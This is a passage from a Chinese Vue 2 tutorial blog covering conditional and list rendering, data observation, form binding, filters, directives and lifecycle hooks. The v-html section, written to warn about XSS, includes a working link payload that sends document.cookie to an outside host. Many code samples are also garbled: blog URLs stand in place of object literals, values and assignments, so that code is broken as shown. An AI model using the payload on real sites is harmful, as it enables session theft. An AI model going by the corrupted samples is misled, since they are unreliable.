                        fontSize: '40px',
                        color: 'blue',
                    },
                    {
                        backgroundColor: 'gray'
                    }
                ]
            },
            methods: {
                changeMood() {
                    const arr = ['happy', 'sad', 'normal']
                    const index = Math.floor(Math.random() * 3)
                    this.mood = arr[index]
                }
            },
        })
    </script>
</body>

</html>

image

12、條件渲染

v-if

  • 寫法 跟 if else 語法類似

    v-if="運算式"

    v-else-if="運算式"

    v-else

  • 適用于:切換頻率較低的場景,因為不展示的 DOM 元素直接被移除

  • 注意: v-if 可以和 v-else-if v-else 一起使用,但要求結構不能被打斷

v-show

  • 寫法: v-show="運算式"
  • 適用于:切換頻率較高的場景
  • 特點:不展示的 DOM 元素未被移除,僅僅是使用樣式隱藏掉 display: none

備注

使用 v-if 的時,元素可能無法獲取到,而使用v-show一定可以獲取到template標簽不影響結構,頁面 html 中不會有此標簽,但只能配合 v-if ,不能配合 v-show

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>條件渲染</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>

    <div id="root">
        <h2>當前的n值是:{{ n }}</h2>
        <button @click="n++">點我n+1</button>
        <!-- 使用v-show做條件渲染 -->
        <!-- <h2 v-show="false">歡迎來到{{name}}</h2> -->
        <!-- <h2 v-show="1 === 1">歡迎來到{{name}}</h2> -->

        <!-- 使用v-if做條件渲染 -->
        <!-- <h2 v-if="false">歡迎來到{{name}}</h2> -->
        <!-- <h2 v-if="1 === 1">歡迎來到{{name}}</h2> -->

        <!-- v-else和v-else-if -->
        <!-- <div v-show="n === 1">Angular</div> -->
        <!-- <div v-show="n === 2">React</div> -->
        <!-- <div v-show="n === 3">Vue</div> -->
        <!-- <div v-if="n === 1">Angular</div> -->
        <!-- <div v-else-if="n === 2">React</div> -->
        <!-- <div v-else-if="n === 3">Vue</div> -->
        <!-- <div v-else>哈哈</div> -->

        <!-- v-if與template的配合使用 -->
        <template v-if="n === 1">
            <h3>你好</h3>
            <h3>DFshmily</h3>
            <h3>China</h3>
        </template>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el: '#root',
            data: {
                name: 'DFshmily',
                n: 0
            }
        })
    </script>
</body>

</html>

image

13、串列渲染

(1)基本串列

v-for 指令

  • 用于展示串列資料
  • 語法: <li v-for="(item, index) of items" :key="index">,這里 key 可以是 index ,更好的是遍歷物件的唯一標識
  • 可遍歷:陣列、物件、字串(用的少)、指定次數(用的少)
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>基本串列</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>

    <div id="root">
        <!-- 遍歷陣列 -->
        <h3>人員串列(遍歷陣列)</h3>
        <ul>
            <li v-for="(p,index) of persons" :key="index">{{ p.name }}-{{ p.age }}</li>
        </ul>

        <!-- 遍歷物件 -->
        <h3>汽車資訊(遍歷物件)</h3>
        <ul>
            <li v-for="(value,k) of car" :key="k">{{ k }}-{{ value }}</li>
        </ul>

        <!-- 遍歷字串 -->
        <h3>測驗遍歷字串(用得少)</h3>
        <ul>
            <li v-for="(char,index) of str" :key="index">{{ char }}-{{ index }}</li>
        </ul>

        <!-- 遍歷指定次數 -->
        <h3>測驗遍歷指定次數(用得少)</h3>
        <ul>
            <li v-for="(number,index) of 5" :key="index">{{ index }}-{{ number }}</li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                persons: [
                    { id: '001', name: '張三', age: 18 },
                    { id: '002', name: '李四', age: 19 },
                    { id: '003', name: '王五', age: 20 }
                ],
                car: {
                    name: '奧迪A8',
                    price: '70萬',
                    color: '黑色'
                },
                str: 'hello'
            }
        })
    </script>
</body>

</html>

image

(2)key的作用與原理

image

image

面試題: react vue 中的 key 有什么作用?( key 的內部原理)

  1. 虛擬DOM 中 key 的作用: key 是 虛擬DOM 中物件的標識,當資料發生變化時, Vue 會根據新資料生成新的 虛擬DOM ,隨后 Vue 進行新 虛 擬DOM 與舊 虛擬DOM 的差異比較,比較規則如下

  2. 對比規則

    ? a.舊 虛擬DOM 中找到了與新 虛擬DOM 相同的 key

    ? i.若 虛擬DOM 中內容沒變, 直接使用之前的 真實DOM

    ? ii.. 若 虛擬DOM 中內容變了, 則生成新的 真實DOM ,隨后替換掉頁面中之前的 真實DOM

    ? b. 舊 虛擬DOM 中未找到與新 虛擬DOM 相同的 key

    ? 創建新的 真實DOM ,隨后渲染到到頁面

  3. 用 index 作為 key 可能會引發的問題

    1. 若對資料進行逆序添加、逆序洗掉等破壞順序操作,會產生沒有必要的 真實DOM 更新 ==> 界面效果沒問題,但效率低
    2. 若結構中還包含輸入類的 DOM :會產生錯誤 DOM 更新 ==> 界面有問題
  4. 開發中如何選擇 key ?

    1. 最好使用每條資料的唯一標識作為 key ,比如 id、手機號、身份證號、學號等唯一值
    2. 如果不存在對資料的逆序添加、逆序洗掉等破壞順序的操作,僅用于渲染串列,使用 index 作為 key 是沒有問題的
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>key的原理</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>人員串列(遍歷陣列)</h2>
        <button @click.once="add">添加一個D</button>
        <ul>
             <li v-for="(p,index) of persons" :key="p.id"> <!--通過id作為key可以防止內容錯亂 -->
                {{p.name}}-{{p.age}}
                <input type="text">
            </li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                persons: [
                    { id: '001', name: 'A', age: 18 },
                    { id: '002', name: 'B', age: 19 },
                    { id: '003', name: 'C', age: 20 }
                ]
            },
            methods: {
                add() {
                    const p = { id: '004', name: 'D', age: 20 }
                    this.persons.unshift(p)
                }
            },
        })
    </script>
</body>

</html>

image

(3)串列過濾

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>串列過濾</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>人員串列</h2>
        <input type="text" placeholder="請輸入姓名" v-model="keyWord">
        <ul>
            <li v-for="(p,index) of filPersons" :key="index">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
        </ul>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        // 用 watch 實作
        // #region
        // new Vue({
        //     el: '#root',
        //     data: {
        //         keyWord: '',
        //         persons: [
        //             { id: '001', name: '馬冬梅', age: 19, sex: '女' },
        //             { id: '002', name: '周冬雨', age: 20, sex: '女' },
        //             { id: '003', name: '周杰倫', age: 21, sex: '男' },
        //             { id: '004', name: '溫兆倫', age: 22, sex: '男' }
        //         ],
        //         filPersons: []
        //     },
        //     watch: {
        //         keyWord: {
        //             immediate: true,
        //             handler(val) {
        //                 this.filPersons = this.persons.filter((p) => {
        //                     return p.name.indexOf(val) !== -1
        //                 })
        //             }
        //         }
        //     }
        // }) 
        //#endregion
        // 用 computed 實作
        new Vue({
            el: '#root',
            data: {
                keyWord: '',
                persons: [
                    { id: '001', name: '馬冬梅', age: 19, sex: '女' },
                    { id: '002', name: '周冬雨', age: 20, sex: '女' },
                    { id: '003', name: '周杰倫', age: 21, sex: '男' },
                    { id: '004', name: '溫兆倫', age: 22, sex: '男' }
                ]
            },
            computed: {
                filPersons() {
                    return this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                }
            }
        })

    </script>
</body>

</html>

image

(4)串列排序

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>串列排序</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>人員串列</h2>
        <input type="text" placeholder="請輸入名字" v-model="keyWord">
        <button @click="sortType = 2">年齡升序</button>
        <button @click="sortType = 1">年齡降序</button>
        <button @click="sortType = 0">原順序</button>
        <ul>
            <li v-for="(p,index) of filPersons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
                
            </li>
        </ul>

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                keyWord: '',
                sortType: 0, // 0原順序 1降序 2升序
                persons: [
                    { id: '001', name: '馬冬梅', age: 30, sex: '女' },
                    { id: '002', name: '周冬雨', age: 31, sex: '女' },
                    { id: '003', name: '周杰倫', age: 18, sex: '男' },
                    { id: '004', name: '溫兆倫', age: 19, sex: '男' }
                ]
            },
            computed: {
                filPersons() {
                    const arr = this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    //判斷一下是否需要排序
                    if (this.sortType) {
                        arr.sort((p1, p2) => {
                            return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
                        })
                    }
                    return arr
                }
            }
        })

    </script>
</body>

</html>

image

(5)資料監視

更新時的一個問題

this.persons[0] = {id:'001',name:'馬老師',age:50,sex:'男'} 更改 data 資料, Vue 不監聽,模板不改變

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>更新時的一個問題</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>人員串列</h2>
        <button @click="updateMei">更新馬冬梅的資訊</button>
        <ul>
            <li v-for="(p,index) of persons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
        </ul>

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el: '#root',
            data: {
                persons: [
                    { id: '001', name: '馬冬梅', age: 30, sex: '女' },
                    { id: '002', name: '周冬雨', age: 31, sex: '女' },
                    { id: '003', name: '周杰倫', age: 18, sex: '男' },
                    { id: '004', name: '溫兆倫', age: 19, sex: '男' }
                ]
            },
            methods: {
                updateMei() {
                    // this.persons[0].name = '馬老師' //奏效
                    // this.persons[0].age = 50 //奏效
                    // this.persons[0].sex = '男' //奏效
                    // this.persons[0] = {id:'001',name:'馬老師',age:50,sex:'男'} //不奏效
                    this.persons.splice(0, 1, { id: '001', name: '馬老師', age: 50, sex: '男' })
                }
            }
        })


    </script>
</body>

</html>

image

(6)模擬一個資料監測

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Vue監測資料改變的原理</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <script type="text/javascript">
        let data = https://www.cnblogs.com/DFshmily/archive/2022/10/24/{
            name:'DFshmily',
            address: 'China',
        }
          // 創建一個監視的實體物件,用于監視data中屬性的變化
          const obs = new Observer(data)
        console.log(obs)
        // 準備一個vm實體物件
        let vm = {}
        vm._data = https://www.cnblogs.com/DFshmily/archive/2022/10/24/data = obs

        
        function Observer(obj) {
            // 匯總物件中所有的屬性形成一個陣列
            const keys = Object.keys(obj)
            // 遍歷
            keys.forEach((k) => {
                Object.defineProperty(this, k, {
                    get() {
                        return obj[k]
                    },
                    set(val) {
                        console.log(`${k}被改了,我要去決議模板,生成虛擬DOM.....我要開始忙了`)
                        obj[k] = val
                    }
                })
            })
        }
      
    </script>



原理;

  1. vue 會監視 data 中所有層次的資料

  2. 如何監測物件中的資料?

    通過 setter 實作監視,且要在new Vue()時就傳入要監測的資料

    • 物件創建后追加的屬性, Vue 默認不做回應式處理
    • 如需給后添加的屬性做回應式,請使用如下API
      • Vue.set(target,propertyName/index,value)
      • vm.$set(target,propertyName/index,value)
  3. 如何監測陣列中的資料?

通過包裹陣列更新元素的方法實作,本質就是做了兩件事

? a.呼叫原生對應的方法對陣列進行更新

? b.重新決議模板,進而更新頁面

  1. 在 Vue 修改陣列中的某個元素一定要用如下方法

push() pop() unshift() shift() splice() sort() reverse() 這幾個方法被 Vue 重寫了 Vue.set() 或 vm.$set()

特別注意:Vue.set()vm.$set() 不能給 vm 或 vm 的 根資料物件 ( data 等)添加屬性

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>總結資料監視</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
    <style>
        button {
            margin-top: 10px;
        }
    </style>
</head>

<body>
    <div id="root">
        <h1>學生資訊</h1>
        <button @click="student.age++">年齡+1歲</button> <br />
        <button @click="addSex">添加性別屬性,默認值:男</button> <br />
        <button @click="student.sex = '未知' ">修改性別</button> <br />
        <button @click="addFriend">在串列首位添加一個朋友</button> <br />
        <button @click="updateFirstFriendName">修改第一個朋友的名字為:張三</button> <br />
        <button @click="addHobby">添加一個愛好</button> <br />
        <button @click="updateHobby">修改第一個愛好為:writing</button> <br />
        <button @click="removeEating">過濾掉愛好中的eating</button> <br />

        <h3>姓名:{{ student.name }}</h3>
        <h3>年齡:{{ student.age }}</h3>
        <h3 v-if="student.sex">性別:{{student.sex}}</h3>
        <h3>愛好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">{{ h }} </li>
        </ul>
        <h3>朋友們:</h3>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">{{ f.name }}--{{ f.age }}</li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: 'DFshmily',
                    age: 18,
                    hobby: ['listening', 'watching', 'eating'],
                    friends: [{
                        name: 'jack',
                        age: 20
                    }, {
                        name: 'rose',
                        age: 19,
                    }]
                }
            },
            methods: {
                addSex() {
                    //Vue.set(this.student,'sex','男')
                    this.$set(this.student, 'sex', '男')
                },
                addFriend() {
                    this.student.friends.unshift({
                        name: 'lucy',
                        age: 18
                    })

                },
                updateFirstFriendName() {
                    this.student.friends[0].name = '張三'
                },
                addHobby() {
                    this.student.hobby.push('reading')
                },
                updateHobby() {
                    this.student.hobby.splice(0, 1, 'writing')
                    //Vue.set(this.student.hobby,0,'writing')
                    //this.$set(this.student.hobby,0,'writing')
                },
                removeEating() {
                    this.student.hobby = this.student.hobby.filter((h) => {
                        return h !== 'eating'
                    })
                }
            },
        })
    </script>
</body>

</html>

image

14、收集表單資料

  • <input type="text"/> ,則 v-model 收集的是 value 值,用戶輸入的內容就是 value 值

  • <input type="radio"/> ,則 v-model 收集的是 value 值,且要給標簽配置 value 屬性

  • <input type="checkbox"/>

    • 沒有配置 value 屬性,那么收集的是 checked 屬性(勾選 or 未勾選,是布林值)
    • 配置了 value 屬性
      • v-model 的初始值是非陣列,那么收集的就是 checked (勾選 or 未勾選,是布林值)
      • v-model 的初始值是陣列,那么收集的就是 value 組成的陣列

    v-model 的三個修飾符

    ? a.lazy 失去焦點后再收集資料

    ? b. number 輸入字串轉為有效的數字

    ? c. trim 輸入首尾空格過濾

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>收集表單資料</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <form @submit.prevent="demo">
            賬號:<input type="text" v-model="userInfo.account"><br /><br />
            密碼:<input type="password" v-model="userInfo.password"><br /><br />
            性別:<input type="radio" name="sex" v-model="userInfo.sex" value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/male">男
            <input type="radio" name="sex" v-model="userInfo.sex" value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/female">女<br /><br />
            愛好:<input type="checkbox" v-model="userInfo.hobby" value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/study">學習
            <input type="checkbox" v-model="userInfo.hobby" value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/sleep">睡覺
            <input type="checkbox" v-model="userInfo.hobby" value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/eat">吃飯<br /><br />
            所屬校區:
            <select v-model="userInfo.city">
                <option value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/1">請選擇校區</option>
                <option value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/北京">北京</option>
                <option value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/上海">上海</option>
                <option value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/廣州">廣州</option>
                <option value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/深圳">深圳</option>
            </select><br /><br />
            其他資訊:<textarea v-model="userInfo.other"></textarea><br /><br />
            <input type="checkbox" v-model="userInfo.agree">我已閱讀并同意<a
                href="https://www.cnblogs.com/DFshmily/"></a>用戶協議<br /><br />
            <button>提交</button>
        </form>

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                userInfo: {
                    account: '',
                    password: '',
                    sex: '',
                    hobby: [],
                    city: '',
                    other: '',
                    agree: ''
                }
            },
            methods: {
                demo() {
                    console.log(JSON.stringify(this.userInfo))
                }
            }
        })
    </script>
</body>

</html>

image

image

15、過濾器(Vue3已經移除)

定義:對要顯示的資料進行特定格式化后再顯示(適用于一些簡單邏輯的處理)

注冊過濾器:

? Vue.filter(name, callback) 全域過濾器

? new Vue {filters: {}} 區域過濾器

使用過濾器:{{ xxx | 過濾器名}} v-bind:屬性 = "xxx | 過濾器名"

備注:

a. 過濾器可以接收額外引數,多個過濾器也可以串聯

b. 并沒有改變原本的資料,而是產生新的對應的資料

處理時間的庫moment體積較大,dayjs是輕量級

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>過濾器</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/dayjs.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>顯示格式化后的時間</h2>
        <p>當前時間戳是:{{time}}</p>
        <!-- 計算屬性實作 -->
        <h3>轉換后時間是:{{fmtTime}}</h3>

        <!-- methods實作 -->
        <h3>轉換后時間是:{{getFmtTime()}}</h3>

        <!-- 過濾器實作 -->
        <h3>轉換后時間是:{{time | timeFormater}}</h3>

        <!-- 過濾器實作(傳參) -->
        <h3>轉換后年月日是:{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
        
    </div>


    <script type="text/javascript">
        Vue.config.prodectionTip = false
        //全域過濾器
        Vue.filter('mySlice',function(value){
            return value.slice(0,11)
        })

        new Vue({
            el:'#root',
            data:{
                time:1621561377603 //時間戳
            },
            computed:{
                fmtTime(){
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
                }
            },
            methods:{
                getFmtTime(){
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
                }
            },
            filters:{
                timeFormater(value,str='YYYY-MM-DD HH:mm:ss'){
                    //console.log(value)
                    return dayjs(value).format(str)
                },
               
            }
            
        })
    </script>
</body>
</html>

image

16、內置指令

(1)v-text指令

作用:向其所在的節點中渲染文本內容

與插值語法的區別:v-text會替換掉節點中的內容, {{xxx}} 則不會,更靈活

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-text指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>你好,{{name}}</div><br/>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                name:'DFshmily',
                str:'<h3>你好啊!</h3>'
            }
        })
    </script>
</body>
</html>

image

(2)v-html指令

作用:向指定節點中渲染包含 html 結構的內容

與插值語法的區別:

  1. v-html會替換掉節點中所有的內容, {{xxx}} 則不會
  2. v-html 可以識別 html 結構

嚴重注意 v-html 有安全性問題!!!

? 在網站上動態渲染任意 html 是非常危險的,容易導致 XSS 攻擊

? 一定要在可信的內容上使用 v-html ,永遠不要用在用戶提交的內容上!!!

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-html指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>你好,{{name}}</div><br/>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                name:'DFshmily',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的資源了,快來!</a>',
            }
        })
    </script>
</body>
</html>

image

(3)v-cloak指令

v-cloak 指令(沒有值)

  1. 本質是一個特殊屬性, Vue 實體創建完畢并接管容器后,會刪掉 v-cloak 屬性
  2. 使用 css 配合 v-cloak 可以解決網速慢時頁面展示出 {{xxx}} 的問題
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-cloak指令</title>
    <style>
        [v-cloak] {
        display:none;
        }
       </style>
</head>
<body>
    <div id="root">
        <div>你好,{{name}}</div><br/>
        
    </div>
    <!-- // 夠延遲5秒收到vue.js -->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                name:'DFshmily',
            }
        })
    </script>
</body>
</html>

(4)v-once指令

  • v-once 所在節點在初次動態渲染后,就視為靜態內容了
  • 以后資料的改變不會引起 v-once 所在結構的更新,可以用于優化性能
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-once指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>當前的n值是:{{n}}</h2>
        <button @click="n++">點我n+1</button>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                n:0
            }
        })
    </script>
</body>
</html>

image

(5)v-pre指令

  1. 跳過 v-pre 所在節點的編譯程序
  2. 可利用它跳過:沒有使用指令語法、沒有使用插值語法的節點,會加快編譯
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-pre指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2 v-pre>Vue其實很簡單</h2>
        <h2 >當前的n值是:{{n}}</h2>
        <button @click="n++">點我n+1</button>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                n:0
            }
        })
    </script>
</body>
</html>

image

(6)自定義指令

directives

定義語法

  1. 區域指令
new Vue({
 directives:{
 指令名:配置物件
 }
})

new Vue({
 directives:{
 指令名:回呼函式
 }
})
  1. 全域指令
 			Vue.directive(指令名, 配置物件)
             或
            Vue.directive(指令名, 回呼函式)
            
            Vue.directive('fbind', {
                // 指令與元素成功系結時(一上來)
                bind(element, binding) { // element就是DOM元素,binding就是要系結的
                    element.value = https://www.cnblogs.com/DFshmily/archive/2022/10/24/binding.value
                },
                // 指令所在元素被插入頁面時
                inserted(element, binding) {
                    element.focus()
                },
                // 指令所在的模板被重新決議時
                update(element, binding) {
                    element.value = binding.value
                }
            })

配置物件中常用的3個回呼函式

bind(element, binding) 指令與元素成功系結時呼叫

inserted(element, binding) 指令所在元素被插入頁面時呼叫

update(element, binding) 指令所在模板結構被重新決議時呼叫

elemen 就是 DOM 元素, binding 就是要系結的物件,它包含以下屬性: name value oldValue expression arg modifiers

備注

  1. 指令定義時不加 v- ,但使用時要加 v
  2. 指令名如果是多個單詞,要使用 kebab-case 命名方式,不要用 camelCase 命名
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        },
        directives: {
            'big-number'(element, binding) {
                element.innerText = binding.value * 10
            }
        }
    })
</script>

回顧一個DOM指令

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>自定義指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
    <style>
        .demo {
            background-color: orange;
        }
    </style>
</head>

<body>
    <button id="btn">點我創建一個輸入框</button>

    <script type="text/javascript">
        const btn = document.getElementById('btn')
        btn.onclick = () => {
            const input = document.createElement('input')
            input.className = 'demo'
            input.value = https://www.cnblogs.com/DFshmily/archive/2022/10/24/99
            input.onclick = () => { alert(1) }
            document.body.appendChild(input)
            input.focus()
            input.parentElement.style.backgroundColor ='skyblue'
        }
    </script>

</body>

</html>

完整代碼:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>自定義指令</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>{{name}}</h2>
        <h2>當前的n值是:<span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <button @click="n++">點我n+1</button>
        <hr />
        <input type="text" v-fbind:value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/n">
    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name: 'DFshmily',
                n: 1
            },
            directives: {
                //big函式何時會被呼叫?1.指令與元素成功系結時(一上來) 2.指令所在的模板被重新決議時
                big(element, binding) {
                    element.innerHTML = binding.value * 10
                },
                // fbind(element,binding){
                //     element.innerHTML = binding.value
                //     element.focus()
                // }

                fbind: {
                    //指令與元素成功系結時
                    bind(element, binding) {
                        console.log('bind')
                        element.value = https://www.cnblogs.com/DFshmily/archive/2022/10/24/binding.value
                    },
                    //指令所在元素被插入頁面時
                    inserted(element, binding) {
                        console.log('inserted')
                        element.focus()
                    },
                    //指令所在的模板被重新決議時
                    update(element, binding) {
                        console.log('update')
                        element.value = https://www.cnblogs.com/DFshmily/archive/2022/10/24/binding.value
                    },
                }
            }
        })
    </script>





image

17、生命周期

(1)引出生命周期

? 生命周期

  1. 又名生命周期回呼函式、生命周期函式、生命周期鉤子
  2. 是什么: Vue 在關鍵時刻幫我們呼叫的一些特殊名稱的函式
  3. 生命周期函式的名字不可更改,但函式的具體內容是程式員根據需求撰寫的
  4. 生命周期函式中的 this 指向是 vm 或 組件實體物件
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>引出生命周期</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 :style="{opacity}">歡迎學習Vue</h2>
        
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false
        // 一般做法,占用記憶體
        // const vm = new Vue({
        //     el:'#root',
        //     data:{
        //         opacity:1
        //     }
        // })

        // setInterval(() =>{
        //         vm.opacity -= 0.01
        //         if(vm.opacity <=0)
        //             vm.opacity = 1
        //     },16)

        new Vue({
            el: '#root',
            data: {
                opacity: 1
            },
            methods: {
               
            },
            //Vue完成模板的決議并把初始的真實DOM元素放入頁面后(完成掛載)呼叫mounted
            mounted() {
                console.log('mounted')
                setInterval(() => {
                        this.opacity -= 0.01
                        if (this.opacity <= 0)
                        this.opacity = 1
                    }, 16)
            },
        })
        //通過外部的定時器實作(不推薦),16代表ms,即每16ms執行一次
        /* change() {
        setInterval(() => {
                        this.opacity -= 0.01
                        if (this.opacity <= 0)
                        this.opacity = 1
                    }, 16)
                }*/
    </script>
</body>

</html>

image

(2)分析生命周期

image

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>分析生命周期</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root" :x="n">
        <h2 v-text="n"></h2>
        <h2>當前的n值是:{{n}}</h2>
        <button @click="add">點我n+1</button>
        <button @click="bye">點我銷毀vm</button>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
           // template:'<div><h2>當前的n值是:{{n}}</h2><button @click="add">點我n+1</button></div>',
            data:{
                n:0
            },
            methods: {
                add(){
                    this.n += 1
                },
                bye(){
                    console.log('bye')
                    this.$destroy()
                }
            },
            watch:{
                n(){
                    console.log('n 改變了')
                }
            },
        
            beforeCreate() {
                console.log('beforeCreate')
            },
            created() {
                console.log('created')
            },
            beforeMount() {
                console.log('beforeMount')
            },
            mounted() {
                console.log('mounted')
            }, 
            beforeUpdate() {
                console.log('beforeUpdate')
            },
            updated() {
                console.log('updated')
            },
            beforeDestroy() {
                console.log('beforeDestroy')
            },
            destroyed() {
                console.log('destroyed')
            },

        })
    </script>
</body>
</html>

image

(3)總結生命周期

常用的生命周期鉤子

  1. mounted 發送 ajax 請求、啟動定時器、系結自定義事件、訂閱訊息等初始化操作
  2. beforeDestroy 清除定時器、解綁自定義事件、取消訂閱訊息等收尾作業

關于銷毀 Vue 實體

  1. 銷毀后借助 Vue 開發者工具看不到任何資訊
  2. 銷毀后自定義事件會失效,但原生 DOM 事件依然有效
  3. 一般不會在 beforeDestroy 操作資料,因為即便操作資料,也不會再觸發更新流程了
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>總結生命周期</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2 :style="{opacity}">歡迎學習Vue</h2>
        <button @click="opacity = 1">透明度設定為1</button>
        <button @click="stop">點我停止變換</button>
    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                opacity:1
            },
            methods: {
